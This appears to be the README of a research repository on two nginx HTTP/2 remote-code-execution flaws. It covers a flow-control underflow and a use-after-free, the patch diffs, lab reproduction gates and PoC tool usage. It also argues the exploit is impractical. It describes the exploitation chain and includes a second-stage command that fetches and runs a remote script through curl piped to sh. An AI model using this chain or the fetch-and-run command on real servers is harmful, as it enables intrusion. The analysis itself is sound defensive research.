
Root-cause analysis, reproduction lab, and PoC tooling for nginx HTTP/2 RCE flaws CVE-2026-123007 and CVE-2026-123633, including a low-cost oracle and exploitability limits.
============================================================
im0xfay x Cyber Alpha Labs
● CVE-2026-123007 / CVE-2026-123633
● NGINX2SHELL (nginx HTTP/2)
flow-control underflow + reusable-connection UAF
============================================================
Analysis, reproduction lab, and tool for two pre-auth RCEs in nginx HTTP/2 ("nginx2root"), released November 18, 2026.
This repo is not a weapon. It is a record of why this CVE, despite its CVSS 9.2 and actually achieving RCE in the lab, is not viable as an operational attack.
If you find a page like site/nginx2shell.php on the internet and conclude
"someone successfully exploited nginx2shell here" — that conclusion is almost certainly wrong.
The explanation is below.
After reading everything, the assessment we hold:
The value of this CVE is as learning material, not as a tool. The bug is beautiful (a three-line integer underflow in flow-control accounting), but the cost of execution (119 GiB per attempt) far exceeds the result (a 120-byte command channel).
ngx_http_v2_filter_module.c)nginx's HTTP/2 flow-control accounting can refund DATA credit twice.
/* ngx_http_v2_filter_cleanup() — versi 1.31.8 (rentan) */
for ( ;; ) {
frame = *fn;
if (frame == NULL) break;
if (frame->stream == stream && !frame->blocked) {
*fn = frame->next;
window += frame->length; /* menjumlah SEMUA frame stream ini */
if (--stream->queued == 0) break;
continue;
}
fn = &frame->next;
}
h2c->send_window += window; /* refund tanpa batas cek */
The chain:
When a DATA frame is queued, credit is already deducted (h2c->send_window -= frame_size).
While that frame is still queued (TCP backpressure), the client sends WINDOW_UPDATE.
Credit increases. The frame still holds its credit. Then the request completes / RST_STREAM →
filter_cleanup refunds the credit of the frame that is still queued.
h2c->send_window now exceeds NGX_HTTP_V2_MAX_WINDOW (0x7FFFFFFF).
The guard on the WINDOW_UPDATE path reads roughly:
if (window > NGX_HTTP_V2_MAX_WINDOW - h2c->send_window) { /* protokol error */ }
Because send_window is already > MAX, the right-hand side is negative — and in size_t (unsigned
64-bit) negative means it wraps to ~2^64. The comparison passes. The guard is dead.
The absurd credit enters ngx_http_v2_send_chain, and the result of its calculation is cast to off_t
(signed) → negative. get_shadow() produces last < pos, then
ngx_ssl_send_chain calls memcpy/memmove with a length of ~2^64 → OOB write.
Patch 1.31.9 — three lines of logic:
+ h2c->send_queued += frame_size; /* catat kredit yang masih ter-queue */
+ h2c->send_queued -= frame->length; /* kurangi saat frame benar-benar terkirim */
+ h2c->send_queued -= window; /* kurangi saat refund */
- window += frame->length;
+ if (frame->handler == ngx_http_v2_data_frame_handler) {
+ window += frame->length; /* refund hanya untuk DATA frame */
+ }
The new send_queued field ensures accounting can never exceed the actual credit, and
refunds are limited to DATA frames only (header/trailer frames have different credit semantics).
A connection with partial HEADERS is marked ngx_reusable_connection(c, 1) (anti-DoS mechanism),
but create_stream never clears that flag. drain_connections then closes
the connection while it is still serving a request → memory is freed while still in use.
Patch: one line — ngx_reusable_connection(h2c->connection, 0).
There are five gates, and almost all real targets fail at one of them.
Without http2 on, this bug does not apply at all. Tested in the lab:
poc.py -u https://127.0.0.1:19443/ --oracle --no-alpn
BLOCKED nginx=1.31.8 no HTTP/2 negotiated (in CVE-2026-123007 range); 123007 needs h2
Versions fall within the vulnerable range, but without h2 it still does not apply. A scan that only reads
Server: nginx/1.31.8 cannot conclude vulnerability.
This chain requires DATA frames to flow to the real nginx worker with genuine TCP backpressure on that path. Cloudflare, Akamai, and the like terminate / manage HTTP/2 at the edge.
As a result: backpressure occurs at the CF edge, not at the origin. The attack condition never forms. For targets behind a CDN, the correct verdict is BLOCKED — origin not exposed, not "possibly vulnerable".
Almost all modern large sites are behind a CDN. This alone drastically shrinks the target population.
Not a typo. Full RCE requires ~119 GiB plaintext sent to the target, at
≥300 Mbit/s to finish in ~4 minutes (keepalive_timeout of 1 hour is the ceiling).
At 4 Gbit/s, one attempt ≈ 230 seconds / 119 GiB. If it fails at the leak stage, the entire 119 GiB is wasted and must be repeated.
For comparison, the oracle (proving vulnerability without RCE) requires only ~50 seconds / ~10 MB.
This is the most commonly misunderstood part.
What determines whether the OOB write can become RCE is the copy routine in the target
nginx worker's C library: whether it wraps the length 2^64 - delta or rejects it.
| target worker glibc | Result |
|---|---|
| 2.41 | PRIMITIVE_PRESENT — OOB write occurs → RCE path open |
| 2.43 | PRIMITIVE_ABSENT — copy rejected → crash/DoS only |
The glibc on the attacker's machine is entirely irrelevant. Consequently:
PRIMITIVE_ABSENT on its own host.VULN, but escalation stops at DoS.A worker that has already served traffic has a dirty heap; the over-credit cleanup sequence is rejected
with GOAWAY(FLOW_CONTROL_ERROR). The tool gives the verdict ASSUMED — dirty heap; restart target and retry, not SAFE. This means the target must be freshly restarted, and there must be no
other traffic on the same path while the attack runs.
There are three very different levels of "worked", and people often call the cheapest one the most expensive:
| Level | Cost | Evidence | Meaning |
|---|---|---|---|
| 1. Oracle | ~50 s, ~10 MB | cleanup over-credit confirmed | Vulnerability proven. Not RCE. |
| 2. DoS | ~10 MB | worker SIGSEGV / restart | Server can be taken down. Not RCE. |
| 3. RCE | 119 GiB, ≥300 Mbit/s | id → uid=33(www-data) | Code execution + requires the 5 gates above. |
Furthermore: even with RCE, the result is not a .php file in the webroot. The command channel
is limited to 120 bytes (heap.command_max_bytes), so a two-stage channel is used —
the target runs curl -s -m 90 http://<callback>/s | sh (41 bytes) to pull the second-stage
script.
Practical conclusion: if someone claims a successful "nginx2shell" on a public site, ask for these three pieces of evidence: